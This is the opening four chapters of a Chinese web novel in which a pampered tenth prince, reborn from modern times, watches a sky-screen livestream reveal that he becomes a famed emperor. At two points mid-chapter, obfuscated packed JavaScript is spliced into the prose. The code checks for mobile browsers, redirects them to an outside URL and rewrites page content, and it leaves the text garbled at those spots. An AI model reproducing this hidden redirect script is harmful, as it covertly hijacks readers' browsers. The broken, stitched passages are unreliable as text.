《天幕直播朕的恋爱史》 1. 天裂了! 东方欲晓,晨光熹微。 庄严肃穆的金銮殿上,文武百官依品级爵序分列序两侧,屏息凝神。御座上,开国皇帝玄袍加身,目光如炬,不怒自威。 偶有重臣出列启奏,声音回荡于穹顶,字字斟酌,如履薄冰。天威之下,针落有声,唯有龙涎香雾如幽魂般盘旋。 当然,正在朝堂上公然打瞌睡的瑞王黎昭除外,但黎昭认为这实在不能怪自己,这朝会早上五点就要开始工作了,再算上通勤的时间他最起码四点多就要起床,简直比996还要过分! 遥想前世他是个孤儿,靠爱心人士的资助一路摸爬滚打考上了重点大学,平时做一些兼职再加上奖学金,小日子过得还不错,谁知晚上在校园跑的路上意外被高空抛物砸到,再醒来之后就发现自己成了一个刚出生的婴儿,还是早产的。 好消息是:开局直接躺赢——母亲是圣宠正隆的贵妃,外公富冠江南,父亲更是刚刚推翻前朝暴政、开了新副本的开国皇帝,不得不说我爹真牛。 坏消息是:他上面有九个哥哥——九子夺嫡,恐怖如斯。想仰天大喊一句“臣妾做不到啊”,他只能抱紧老爹的大腿了,平安度过了十八年。 话说回来,这大殿里的龙涎香真催眠啊。 站在他旁边的福王快要被他胆大的行为给吓死了,生怕被上首的父皇看到而牵连到自己,一直试图把他这位好皇兄叫醒,然而终负所望。 日上金殿,香烟袅袅,朝会已接近尾声,忽听文官班列中一声铿锵坚定的声音响起:“臣,监察御史王寄,劾奏!” 刹那间,所有人的目光都聚焦在这位刚从地方知县被选拔入京的监察御史身上。 王寄手持笏板,面容刚毅,稳步出列,立于大殿中央,向着御座深深一鞠,昂首,字正腔圆道:“臣劾奏瑞王殿下身为天皇贵胄,本应以身作则为宗室表率,然其却行为放浪,德不配位。 其一,流连青楼,有损皇室威严。王爷近日频出入于平乐坊等污秽之地,纵情声色,流连忘返。致使市井窃议,皇室蒙尘! 其二,恃强凌弱,目无国法!昨日,王爷于平乐坊中,因歌女之争,公然殴打吏部右侍郎之子徐通,致其重伤卧床。朝廷命官之子,于光天化日之下遭此毒手,国法何在?纲纪何存?其行径已非私德有亏,实是公然践踏朝廷法度,羞辱百官体面,更使天家颜面尽失! 会试在即,若陛下不断然处置,恐令天下百姓寒心,满朝文武齿冷,更纵容宗室子弟效仿,后患无穷!伏请陛下 敕令宗正寺,将瑞王殿下禁足府中,深刻反省,并昭告宗室,以正视听。” 礼部右侍郎顿时面色苍白,怒视王寄。 话音落后,殿内一片安静。王寄心觉不对,劾奏之后即使没有官员出声反驳或附和,也不该这般安静。这种安静不是害怕陛下发怒一般的寂静,而是一种说不出的微妙感。 此时,皇帝轻敲御座,漫不经心道,“小十,你怎么说?” ......无人应答。 眼见陛下的脸色越来越重,众大臣们噤若寒蝉,此刻站在他旁边的福王顶着父皇的威压,也不敢再做小动作,只能希望皇兄自求多福了。 唰——,一本奏折从御座之上砸下来,正好落在黎昭旁边。 “王德,去,把那个逆子给朕叫醒。” 还不等王公公行动,或是被声音惊醒,或是感受到周围的氛围不妙,黎昭清醒了,故作几声咳,将脚下的奏折捡了起来,看了一眼。撇了几眼四周,发现中间站着的人有几分眼熟,头上戴着獬豸冠。 看来是御史啊,眉头一挑,黎昭心里有点惊奇。自从他十五岁可以换回男装出宫后,就成了被御史弹劾的常客,也没啥大事,就是一些吃喝玩乐,外加一些行侠仗义的事被御史台揪着不放。 毕竟京城嘛,权贵子弟扎堆,纨绔子弟更是不少。虽说是天子脚下,但总有一些拎不清的仗着后台硬做一些欺男霸女,为非作歹的事,曾在社会主义里经历一遭的接班人能忍吗?那肯定不能啊!比后台谁有他爹这个后台更硬,于是就开始了一场轰轰烈烈的整顿行动。 在这期间黎昭给御史台添了许多的业绩,但被他整顿一番职场后,就歇菜了,已经至少有半年没人来弹劾他了,御史台的人更是看见他就跑,突然来这么一遭他还挺想念的。看来这位面生的御史得罪人了啊。 看他这个吊儿郎当的样子,皇帝额头上青筋暴起,一掌重重拍在龙案上,“你这个逆子,朕让你上朝听政是让你来睡觉的吗?看看你干的好事!” 还不等黎昭回应,晋王就上前一步,“父皇息怒,十弟一定不是有意的,儿臣听闻十弟是三更才回的王府,定是有重要事务,有点困觉也是正常的。”随即转头对黎昭道:“十弟可要好好给父皇解释解释。” 黎昭嘴角微抽,心里无语,他这个哥哥从小就热衷于给他找绊子,这拱火的手段真是一如既往地一条茶路走到黑啊。面上笑嘻嘻道:“多谢七皇兄。” 随后出列上前一步,利落一跪,他知道这时候不能顶嘴。“父皇,儿臣知道错了。您听儿臣给您解释,儿臣去平乐坊其实是因为一道菜。儿臣听闻平乐坊做的莲房鱼包乃京中一绝,母妃喜爱吃鱼,儿臣就想着尽尽孝心,学学做给父皇和母妃吃。 本来是想将厨子请到王府来的,谁知这个厨子是个有骨气的,听闻儿臣是想学他的手艺,无论如何也不肯来王府,儿臣也不能以势压人,这不是堕了皇室的威名吗。于是儿臣就想着效仿父皇请左相出山的事迹亲自前往平乐坊向厨子学习,如此一来厨子被儿臣的坚持与孝心感动,就愿意教儿臣了。” 大臣们无语,陛下亲自请左相是君臣相得,王爷您这算什么,说什么不能仗势欺人,我们家儿子/孙子/侄子被欺的怎么算,虽说他们确实没干好事。 话又说回来,君子远庖厨,去青楼是为了学做菜,放在别人身上没人会信,但放在瑞王殿下身上,诸位大臣们也不觉得奇怪,众所周知瑞王有两大爱好——金子和美食。 之前就有听说瑞王为了一个叫火锅的吃的,到处派人寻找食材。甚至在出宫建府前还磨着陛下送给他一个专属御厨,可见陛下对瑞王的宠爱。 听着这话左相眼底闪过一丝怀念,皇帝的面上也有一丝动容,天家无父子,但小十不一样,随机又板起了脸:“哦? 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黎昭躬身,“儿臣知晓。”哼,就知道他父皇嘴硬心软,每次都是这个结果。 “王御史恪尽职守,朕心甚慰。御史风闻奏事,乃国之重器。然,日后亦当力求详实,方不负朕与朝廷之重托。此次便罢了。” 王寄松了一口气,以头呛地,“陛下圣明!臣遵旨!” “望诸位爱卿以此事为鉴。为官者,当洁身自好,约束亲族;执法者,当心存正义,亦要讲究方式;言官者,当风闻奏事,亦需兼听则明。退朝!” 大臣们纷纷下跪,“谨听圣言,定不负陛下所望。” 突然,一个内侍官急匆匆地跑了进来,神色慌张地说道:“陛陛陛......陛下!天上,天上裂开了!” 群臣哗然,看向皇帝。 皇帝凤眸微眯,冷声道,“来人,宣钦天监。诸位爱卿随朕前去一观。” 众大臣拱手,“诺。” 2. 金手指? 黎昭边走心里好奇,前世也没听说过有天裂一般的天象啊,还是哪路反王搞出来的? 福王走在黎昭旁边,一手搭上黎昭的肩膀,凑到他的耳边兴致冲冲道:“十哥,你说这究竟是怎么回事啊,难道是......。”后面的话没再说出来被黎昭手动闭麦了,这熊孩子正值中二期呢,万一说出什么不该说的就麻烦了。 “嘘,此事还没有定论,先把你的嘴巴闭起来。”黎昭一根食指放在唇前,那双遗传自皇帝的凤眸笑眯眯的看着他,福王深刻体会到了那些贵女们为什么要把十皇兄排在美人榜第一了,可真是男女通杀啊。 “唔唔......”福王点头示意自己知道了,把黎昭的手扒拉开,撇了撇嘴,“皇兄,你以后不要这样笑了,容易误人子弟。” 黎昭一巴掌拍在蠢弟弟的头上,“胆肥了啊,敢调侃皇兄了。” 福王气愤道:“十哥,你以后不能拍我头了,我听闻拍头长不高的,我以后可是要当大将军的。” 黎昭一副好兄长的样子,故作又要拍他,“弟啊,这个你放心,据我观察,父母高则子女普遍高,与拍不拍头无关,你肯定还能长高的。”这话可不是欺骗,他们老爹至少有190厘米,他们几个弟兄平均180厘米以上,福王母妃大概有170厘米,在后宫中是名列前茅的。福王如今才十五岁,已经有170厘米了,骨骺线还没闭合,绝对还能长。 福王一脸疑惑,“皇兄你莫不是诓我吧。” 黎昭一脸真诚,“皇兄怎么会骗你呢,你想想我们兄弟姊妹的身高,再对比一下父皇和他们各自母妃的身高就知道了。”黎昭冲福王摆了摆手,乖啊,自己想。 这时文武百官已随皇帝涌出大殿,齐聚汉白玉广场上。只见苍穹之上,好像天空生了一个的小孩般形成了一片小的灰色天空,远远望去,重叠的部分就像是一道裂缝,压抑得令人窒息。 大臣们惊诧不已,骇然失色,交头接耳的惊呼声此起彼伏,有甚者身形摇晃,需倚靠同僚方能站稳。 黎昭微微眯了眯眼,仰头望去。心下却是一奇:这景象感觉怎么也不像天裂,倒是跟他前世看的五毛钱特效仙侠剧中的水镜一个德性,而且断断续续的,有点接触不良的样子。 “难道我穿越的不是什么平行世界,而是一个玄幻修仙世界?穿错频道了,从宫斗权谋秒变玄幻修仙!” 但随着水镜的扩大,逐渐稳定下来,黎昭否定了这个想法。因为他在水镜上居然看到了前世某个很火的短视频软件Logo! 汉堡、炸鸡、可乐、Wi-Fi、空调......来自现代社会的记忆如潮水般冲击着黎昭的神经。破案了!这哪是什么异象,分明是他那迷路了十八年的金手指终于到货了! 但看着周围群臣的惊恐以及皇帝老爹凝重如铁的侧脸,黎昭觉得头皮发麻:这金手指的出场阵仗,是不是搞得太大了一点?不知明臻此刻是否也在观看,会不会被吓到? 他赶紧在心里默念:“Hello?系统在吗?主神?客服大哥?客服小姐姐?能私下联系吗?” 皇帝看着这一幕,眉头紧锁,目光如炬扫视群臣,沉声道:“众卿家,有谁能解此天象?” 就在此时,福王突然猛地一拍手,脱口而出,“啊,我知道了。” 他这一声惊呼,在惶恐的百官中显得格外清晰响亮。皇帝立刻循声望去,只见自己的十一皇子一脸“恍然大悟”的表情。 霎时间,所有目光都聚焦在福王身上。黎昭也疑惑,据他所知他这个弟弟平常除了对练武,看兵书上心外,不曾有过观星堪舆之举啊。 福王猛地从对自己身高的想象中惊醒,意识到自己失言,且父皇问的是那天降异象,他根本什么都没看,什么都不知道!总不能告诉父皇他在想他能长多高吧! 只见福王脸上激动的红光迅速褪去,转为惶恐和羞愧。他立刻出列,疾步走到御前,毫不犹豫地撩起衣摆,跪倒在地,将头深深叩下: “父皇恕罪!儿臣……儿臣不知!” 这突如其来的转折让所有人都愣住了。刚才不是还恍然大悟吗?怎么转眼就不知?皇帝疑惑道:“哦?那你方才说‘知道了’,知道了什么?” 福王也不敢抬,声音充满了懊悔和诚恳,略微发颤:“回父皇!儿臣愚钝,方才心神被那天象所慑,惶恐不安之际,脑中却仍在思索昨日父皇训诫儿臣‘遇事需静心,察实情而后动’之圣训,一时神思不属……竟……竟恍惚间与昨夜苦思未解的一局残棋幻象重叠……” 他顿了顿,似乎羞愧难当,语速加快:“就在方才,儿臣于棋局上一窍豁然开朗,欣喜忘形,竟忘了场合,失口惊呼……惊扰圣驾,欺瞒父皇,儿臣实则对天象玄机一无所知,请父皇重罚!” 说完,他再次深深叩首,伏地不起。 皇帝沉默,然后叹口气道:“朝堂之上,心神竟系于棋枰之间,成何体统!看来朕对你的教诲,你还是未能真正入心!罚你闭门读书三日,将《慎思录》抄写百遍,静思己过!” 福王松了口气,“是,儿臣定好好抄录。” “众卿家......可有何解?”皇帝负手而立,将问题再次抛了出来,低沉的嗓音打破了令人窒息的寂静。 群臣们你看看我,我看看你,脸上皆是为难与惶恐。几位须发皆白的老臣嘴唇嗫嚅了几下,终究还是把话咽了回去,纷纷低下了头。 黎昭将这一切看在眼里,心下明了。这些大臣们并非毫无见解,而是在“吉凶”二字上进退维谷。古人笃信天人感应,却不知所谓灾异祥瑞,多半是事后附会。异常天象总是有一定规律的,吉凶祸福也是无法避免的常态,只是恰巧吻合罢了。 眼下这前所未见的天象,说吉,若日后有灾祸,便是欺君之罪;说凶,若天下太平,便是危言耸听,动摇国本。这千斤重担,谁也不敢轻易去抗。 而龙椅上的老爹,此刻更不能亲自定调。金口玉言,一旦误判,损失的不仅是天子颜面,若被有心人将这天象与他当年推翻前朝之事牵连起来,大作文章,引起人心浮动,那对于立国仅二十余载、根基尚未完全稳固的大晟王朝而言,无疑是场风波。 思绪既定,黎昭深吸一口气,稳步出列,躬身行礼:“父皇,儿臣有奏。” 当前首要之事,并非纠结天象本身的吉凶,而是必须立刻稳定住这朝堂之上已然浮动的人心。他相信这些跟随父皇打下江山的重臣们并非不懂,只是需要一个台阶,一个打破僵局的契机。 皇帝闻声,锐利的目光倏地落在黎昭身上。他微微眯起眼,指尖无意识地摩挲着玉扳指,沉默一瞬后,才从喉间逸出一个简短的音节:“讲。” “父皇,儿臣冒昧认为天象之吉凶,在于人心之所向。此刻最重要的并非天象本身,而是京城乃至天下千万百姓之心。速将此事定为祥瑞,广而告之,化动荡为祥和,使万民之心更紧系于朝廷,紧系于父皇!此乃稳定社稷、安抚民心之当下至要!” “是啊,瑞王殿下说的有理啊。”大臣纷纷点头。 左丞相闻言,立即手持玉笏,声音沉稳而迅捷:“陛下,老臣以为,当务之急是即刻起草安民告示,着京兆府广贴于市井通衢,先行稳住民心。同时,应命京兆尹加派兵丁,上街巡逻,密切监视民间动向,以防歹人借机生事,酿成民乱。”。 皇帝听罢,紧锁的眉头并未完全舒展,但紧抿的唇角几不可察地向上弯起一个极细微的弧度,似乎对这番老成持重的应对颇为认可。 “准。”他吐出一个字,声调不高,却带着不容置疑的决断力,“便依丞相所奏。此外,火速查明此番异象所及范围,究竟止于京畿,还是遍传天下。” “传朕的口谕给钦天监:限他们三日之内,理清此乃何兆,呈上应对章程。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628031|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 京兆府务须封锁消息,严禁民间妄议天象。有敢散布谣言、蛊惑人心者——”他略作停顿,目光扫过群臣,冷然道,“立即下狱,从严惩处,以儆效尤。” 百官俯首,“皇上圣明!” 随后皇帝惊奇地看着自己这个平时只知斗鸡走马的儿子,目光带着审视与一丝不易察觉的探究,像是第一次认识似的。 幽幽道:“你怎么突然说得出这番话,不像你了。” 看着老爹惊奇的目光,以及几位好兄长审视的打量,黎昭知道今天说的话不符合自己一贯的纨绔人设了。 “瞧您说的,都是父皇您教的好,虎父无犬子嘛。”黎昭睁大眼睛看着皇帝,尽量让自己显得真诚一点。 “呵,别贫嘴,你是什么样朕还能不知道吗,说实话!”皇帝语气里有一丝无奈,眼神里是“你小子几斤几两我还不清楚?”的洞悉。 黎昭双手一摊,“好吧,父皇真是火眼金睛,瞒不过您,其实是明臻说的。先前儿臣看话本有类似的桥段,儿臣不解天象怎么跟吉凶联系在一起的,就去与明臻讨论。总之从白虹贯日讲到了什么破军的,儿臣听得云里雾里的,就记住了明臻说的天象吉凶在于人心这句话。儿臣就想着卖弄一下,谁知被您看穿了。”抱歉了兄弟,拿你顶个锅。 黎昭故作郁闷的样子,“唉,您真是一点也不给儿臣留面子。” 右相听着瑞王提起自己的儿子就胆战心惊,他都不知他儿子是怎么认识瑞王这个小霸王的,听起来还这么熟稔,儿子不会被带坏吧,他就这么一个独苗啊!! “明臻?明爱卿,这是你家那个小子吧。”皇帝指尖微动,目光中含了丝玩味,转向右相。 皇帝看着他紧张的模样,不由朗声大笑,拍了拍右相的肩膀,“好好好!明臻小小年纪,见解独到,不一味崇古,懂得务实,真是有其父必有其子!当赏!” 右相被拍得心惊肉跳,连连摆手,“陛下谬赞,臣不敢当!实在是瑞王殿下聪慧,引导有方……” 他谦逊的话音未落,就被一旁黎昭清亮的声音盖了过去——“父皇,还有我!您可不能偏心!这话头虽原是明臻说的,但儿臣也往里添柴加火了啊!您不能只赏他不赏我!” 皇帝负手而立,挑眉看向自己这个最会顺杆爬的儿子,见他一脸“我很有理”的模样,眼底掠过一丝不易察觉的笑意,却故意板起脸,拖长了语调:“哦?你这算什么,敲诈你老子?” 黎昭心下正纳闷今天老爹怎么这么好说话,一听这语气,立刻打蛇随棍上,拱手笑嘻嘻地说:“儿臣不敢!父皇明鉴,儿臣是想先替明臻讨一块先前端州进贡的那方紫玉端砚。他最爱书法,得了定然欢喜。至于儿臣自己......听说南海刚贡来一批夜明珠,个头挺大,儿臣就想讨一颗晚上拿来照亮儿,省点灯油钱。” 这可是实话,他馋这批夜明珠很久了,又大又亮,他晚上不喜身边有人守夜,一个人时又觉得油灯不安全,这夜明珠用来当个睡觉的小夜灯刚刚好。但这南海夜明珠毕竟是稀有贡品,政治意义比较大,没有由头他也不能轻易讨要。 皇帝看着他这幅惫懒模样,终于忍俊不禁,笑骂一句:“混小子,朕的库房迟早让你搬空!准了!” 黎昭笑着躬身,“多谢父皇。”余光看了一下自己的几个哥哥,见他们又恢复了言笑晏晏的模样。他父皇现在春秋鼎盛,黎昭相信只要自己不作死,父皇在位期间一定过得不错,前提是不要被他的兄长们注意到。 如今的太子是已故皇后的嫡长子,跟随他老爹打过天下的,信奉中庸之道,也是个有能力的,对他们兄弟姐妹们还算一视同仁。如果太子即位的话他就能带着母妃就番,天高海阔,有闲有钱当个自由自在的小王爷。想法很美好,但纵观历史开国皇帝的太子是个高危职业,其他的有夺嫡之心的皇兄也是看着人模人样的,他总得留些后手。 3. 我篡位了? 突然,天空传来一阵轰隆巨响,像来自九天之外,皇城内外,人们不约而同地抬头。紧接着,一束柔和而辉煌的白光自天幕中心倾泻而下,光芒并不刺眼,反而如同流淌的琉璃。光芒稳定后,天幕中清晰地显现出一位姑娘的身影。 “快看,是仙女啊,仙女降世了。”整个大晟境内,不约而同地响起惊呼,面向仙女朝拜。作恶者胆怯,向善者虔诚,投机取巧者思索从中能得到什么,更有甚者趁机高呼神将降天罚而兵丁被当场拿下,众生百态,不外如是。 间或有清醒者低语:“这仙女的衣着,似乎从未见过。”但也很快被身边“仙女肯定穿的是仙界的衣物,哪能如我等凡夫俗子一样!”类似的言论淹没。 京城内外如何,现如今正在汉白玉广场上的君臣不得而知。作为王朝的核心,智力,武力的佼佼者,他们经历了最初的震惊后,已陆续恢复理智,开始激烈商讨。 “陛下,是否应即刻筹备祭天典礼?”礼部尚书率先建言。 皇帝目光微动,并未立即表态。祭祀固然是彰显敬畏的惯例,但在情势未明时大张旗鼓,恐会助长民间不安,反被有心人利用。 “臣以为此象或为蜃景,”国子监祭酒持重开口。 “《史记·天官书》有载:‘海旁蜃气象楼台,广野气成宫阙然’。此景或许同理。” 皇帝闻言,指尖在玉带上轻轻一叩,这倒是个能暂且稳住局面的说法,虽未必为真,却足以提供一个“自然”的解释,供朝堂上下转圜。 “陛下,臣附议祭酒大人!”户部尚书急忙接话,“这祭祀......能省则省啊。” 皇帝睨了他一眼,鼻息间几不可闻地轻哼一声。 “荒谬!尔等岂可因小利而忘大义?”礼部尚书立刻反驳,“古语云,天人感应,上天既显异象,让我等看到,必有深意。更应祭祀沟通天地,以明圣心!” 眼见两位尚书就要争执起来,皇帝眉头微蹙,流露出一丝不耐。 工部尚书则忧心忡忡:“若这‘仙女’要我等立庙塑像,该当如何?” 户部尚书附和:“这确是需未雨绸缪之事,若民间自发兴起淫祀,管理起来将极为棘手。” 黎昭甚至听见有武将低声与同僚嘀咕:“若天兵天将打来......咱们能交手不?”他不由得暗笑,这真是想军功想疯了。 然而,他瞥见父皇听闻此等妄言后,眼底竟飞速掠过一抹极淡的沉吟,并非觉得荒唐,反倒像是在认真权衡这种极端情况下的军事部署可能性。 黎昭瞧着这群重臣一本正经地讨论“仙女”的来历与意图,只觉得场面荒诞又有趣。他至今仍摸不清这“金手指”的底细——总不能真是为了给古代人民增加娱乐项目来播放视频的吧?眼下,也只能走一步看一步了。 就在群臣为“仙女”之事争论不休之际,那方天幕似终于稳定了连接。只见其中的身影灵动起来,一道清脆悦耳、却与当世迥然不同的嗓音,清晰地传遍了天地间每一个角落: 【朋友们,大家好!我是‘风闻天下事’,欢迎来到《戏说史事》!】 开场白已让汉白玉广场上的君臣愕然,与此时截然不同的音调,缺胳膊少腿的文字,但莫名地每个人都能听懂、看懂其中之意,这是怎样的神异才能做到!紧接着的内容,更是如同道道惊雷,炸得所有人魂飞魄散。 【在上一期的视频中我们已经把那位农民出身却终结乱世,一统天下的大晟开国皇帝晟高祖黎啸的后宫与前朝的关联讲完了,接下来,就来讲讲大家最期待的大晟第二位皇帝! 他就是晟高祖第十子,“九子夺嫡”的最终胜利者——瑞王黎昭。 他也是令后世敬仰的圣文武皇帝,晟圣祖! 同时,他更是带领华夏民族在文治、武力、科技、经济等领域走上新的巅峰,为现代华国在世界上立于不败之地奠基的传奇帝王:一位继秦皇汉武之后,功盖千秋的千古一帝!】 “轰——!” 这句话如同陨石天降,狠狠砸穿了整个广场的平静。刹那间,所有目光,或惊骇、或嫉妒、或难以置信,齐刷刷地聚焦在了十皇子黎昭身上!他成了风暴的中心! 龙椅之上,皇帝的瞳孔骤然收缩,锐利如鹰隼的目光如实质般落在自己往常最疼爱的儿子身上,里面翻滚着极度复杂的情绪:震惊、审视,以及一丝难以言喻的深沉。 他听到了自己的庙号——“高祖”,这是开国之君的标志,对于自己的功绩来说无可争议。 但此刻更令人诧异的,是继任者的名字竟是自己那个看似纨绔,与世无争的十子!“圣祖”?“圣文武皇帝”?还有那句“九子夺嫡的最终胜利者”!每一个字都像鼓槌,敲在他作为帝王和父亲的心上。 太子的脸色瞬间惨白如纸,身形摇摇欲坠,他奉行中庸,力求稳妥,从未想过最大的威胁并非来自那些咄咄逼人的兄弟,而是这个以纨绔扬名的十弟!他下意识地看向父皇,却只看到一张深不见底、喜怒难辨的脸。 其他皇子更是又惊又怒,看向黎昭的眼神如同在看一个隐藏至深的怪物,忌惮几乎凝成实质。 “知道他是装的,但没想到装了个大的。”七皇子晋王喃喃道,似乎对此没有太大的震惊。 十一皇子福王则是满脸星星眼地看着黎昭。 群臣纷纷低头,内心已是翻江倒海。不知该震惊于这“仙人”直呼当今圣上的名讳,还是该震惊这天机竟如此直白! 睿智天纵曰“圣”、道德完备曰“圣”。 经天纬地曰“文”、教化天下曰“文”、文治昌盛曰“文”。 克定祸乱曰“武”、开疆拓土曰“武”、武功赫赫曰“武”。[1] “开国为祖,继任为宗”这是庙号制度的核心原则。若非有重大开创之功,很少有继任之君称祖。更何况是圣祖,圣文武皇帝这样的顶级美称。他们这位瑞王殿下是拯救世界了吗? 太子有守成之君的潜质,但对上一个已经被预知会名盖千古有开创之功的圣祖来说,不够看。哪个胸有沟壑的官员不想追随一位圣明之君开拓盛世,储君之位悬矣。众大臣们已经可以窥见未来的朝堂,必将迎来一场腥风血雨! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16628032|187971||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而此刻,皇帝的心中正掀起一场远比表面更剧烈的风暴。他从未想过废黜太子,即便对太子有所不满,但也仅是打压其势力,扶持其他皇子,意在磨砺,无意替换。随着年纪渐长,这是所有皇帝的通病。可这天幕所言......是未来的既定事实?一朝双祖,与秦皇汉武比肩,且看后人对黎昭的推崇,定是建立了不世之功。 一个个念头不受控制地涌入脑海:“难道......太子日后会行差踏错,酿成大祸?还是小十……朕这个小十,竟怀有朕都未曾察觉的雄才大略,使得朝野归心,非他不可?” 他甚至想到了最残酷的一种可能:“这‘九子夺嫡’,最终是小十......踩着所有兄长的尸骨,包括太子登上了宝座?” 一股寒意顺着脊椎爬升,让他看向黎昭的目光,除了审视,更添了一抹忌惮。但同时又充斥着千古一帝出在大晟,还是他儿子的欣喜。 大晟君臣内心掀起怎样的巨浪,天幕的“仙女”毫不知情,依旧兴致勃勃地爆料: 【众所周知,晟圣祖黎昭的一生都未立后宫,没有子嗣,只有一起奋斗的大臣们,是真的把自己活成了一个孤家寡人。没有官配,简直就是君臣cp中的顶流!救赎文学,背德文学、宿敌文学、养成文学、青梅竹马白月光文学,只有你想不到,没有磕不到!因此在晟圣祖这一块就由主播带领大家从cp的角度了解其一生的功绩。】 这番话信息量巨大,不仅坐实了黎昭的帝位,更描绘了一幅群臣难以想象的未来图景——一位不近女色、却与臣子关系……非同寻常的千古一帝?不少老臣的胡子都开始颤抖了。 【说个题外话大家有没有觉得晟圣祖这个读音有点拗口啊,在之后的讲解中主播就直接以圣祖称呼我们这位老祖宗了。 这里有一个比较有意思的故事,当初为我们圣祖定庙号的时候其实有两个选项,一个是晟太祖,另一个就是如今我们耳熟能详的晟圣祖啦。 这两个都属于是庙号中的顶流了,但圣祖的意味不同,近乎神话皇帝了。据说当时圣祖的大臣们是非常想要“圣”这个庙号的,但考虑到与国号“晟”同音不妥,就又拟定了“成祖”这个庙号。 于是我们圣祖的头号粉丝头子锦衣卫指挥使庞迎庞大人就不干了,在庞大人眼里圣祖就是光,是闪电,是唯一的神话[2],再怎么神话都不为过,庞大人认为没有比“圣”更能配得上我们圣祖的了。他就把所有商定庙号的官员挨个约谈,具体约谈了什么我们不得而知,大家可以自行猜想,反正最终的结果就是大家半推半就的同意了“圣”这个庙号。】 “噗——” 已有心理承受能力差的大臣险些晕厥。锦衣卫是什么目前不得而知,但在座都不是蠢人,这……这不仅是剧透未来,更是把未来的朝廷秘辛、天子近臣的“跋扈”都抖落出来了啊! 黎昭木着脸站在原地,感受着四面八方射来的、足以将他万箭穿心的目光,心中只有一个念头在疯狂刷屏:“这哪是金手指……这分明是阎王爷的催命符啊!” 还有庞迎,不会是他想的那个庞迎吧? 4. 第一对cp,庞黎 这破金手指的槽点实在太多了!黎昭对于自己成了皇帝还没有对象一事接受良好,提前剧透之事不过就是会让他接下来的一段日子不太好过而已,这是劣势同样也是机遇。 可这主播不能凭空给他编造对象啊!!依他上辈子的冲浪经验,他毫不怀疑后世cp粉在玻璃渣里也能硬抠出糖来的能力——万一这些实心眼的古人都信以为真了,他的清白和节操要往哪儿搁? 前脚他才对明臻信誓旦旦,说自己无心婚事,即便有也只愿求得一心人,后脚这天幕就来个“嘿,兄弟,这些都是我的cp”。 明臻会怎么想?是会相信活生生的他,还是相信这说得有鼻子有眼的“后世定论”? 光是想想那场面,黎昭就觉得脚趾能抠出一座瑞王府,简直是公开处刑,大型社死现场! 正当他内心疯狂刷屏吐槽时,天幕中的“仙女”却已无缝切换了话题,开始深度爆料,语气中带着一丝唏嘘: 【说起庞迎这个人,他的一生就很令人感慨了。大致可以用四句话来概括:曾是背负家族振兴之责的风流少年,后历经黑暗不公的逃亡时期,再到令人闻风丧胆的“帝王看门犬”时期,最终却走向了寂寥落寞的晚年。可谓大起大落,跌宕起伏。】 【那么,究竟是什么让庞迎从一个一心一意光耀门楣的读书少年,变成了人人惧怕的锦衣卫指挥使呢?这一切又与我们的圣祖有着怎样千丝万缕的联系?庞迎为何会将圣祖奉若神明? 所有的答案,尽在下一期的《戏说史事》!主播将带大家深入磕响我们cp第一弹——庞黎之间的“救赎文学”,敬请期待!喜欢的宝子们,记得一键三连支持哦!】 随着仙女话落,天幕中的影像骤然消失,天幕又重新变成了灰扑扑的样子突兀地悬挂在苍穹之上,就好似一切未从发生一样。 然而汉白玉广场上死一般的寂静,却昭示着所有人心中已掀起的惊涛骇浪。空气凝滞,犹如暴风雨前令人窒息的低气压。 “小十,上前来。”皇帝一声复杂的呼唤,打破了这片死寂。 黎昭迅速压下纷乱的思绪,心念电转,思索该如何过这一关。有天幕“千古一帝”的名头在,性命应当无虞。 但老爹此刻的心境定然复杂难言——既可能为王朝将出明君而暗喜,更会因可能的欺瞒而震怒,尤其要思虑为何最终是他这个十皇子脱颖而出登上皇位。此刻的平静,不过是风暴将至的预兆。 他俯身行礼,如同以往十八年那样。但他知道一切都不一样了,心中明镜似的:御座上的那双眼睛或许不会再用从前那种掺杂着慈爱、无奈与恨铁不成钢的目光看待自己了。 “黎昭...瑞王...,皇帝闭了闭眼,再睁开时,目光锐利如鹰隼,慢条斯理吐出的字句却重若千钧,“朕只问你一句:你觉得,你将来会是如何成为那‘九子夺嫡’的赢家的?是弑兄,还是……弑父?” “弑父”二字如惊雷炸响,群臣骇然跪伏,屏息垂首,不敢窥视天颜。 唯有黎昭猛地抬头,直视皇帝的目光,似不可置信般,声音清晰而坚定:“父皇!儿臣自幼长于您膝下,因体弱多得您偏宠,儿臣敢言,兄弟中无人比儿臣更蒙圣爱,这是父皇您给予儿臣的底气!儿臣敬您,爱您,这是真的,苍天可鉴。儿臣不知未来有何等际遇,但儿臣不做亏心事,人活一世,但求问心无愧。” “好一个......问心无愧。”皇帝死死地盯着他,仿佛要穿透皮囊,直窥灵魂。良久,紧绷的下颌线微微松动。 黎昭那毫不闪躲的眼神,与那一抹恰到好处流露出的委屈,像一把钥匙,瞬间开启了他尘封的记忆。 黎昭的出生伴随着元和七年冬的第一场大雪,那场雪下了整整一天,在地上集了厚厚的一层,对于那年经历了旱灾的大晟子民来说真真是吉兆。 他在吉兆中抱起刚刚降生的十子,那婴孩竟对他绽开一个无牙的笑。那是当上皇帝之后再一次体会到新手父亲的感觉。 可次日,黎昭便陷入昏迷,药石罔效。贵妃以泪洗面,太医手足无措之际幸得大觉寺明悟和尚出手,言其“天魂不稳”,需借龙气滋养三年,并假作女身直至十五岁方能稳固。 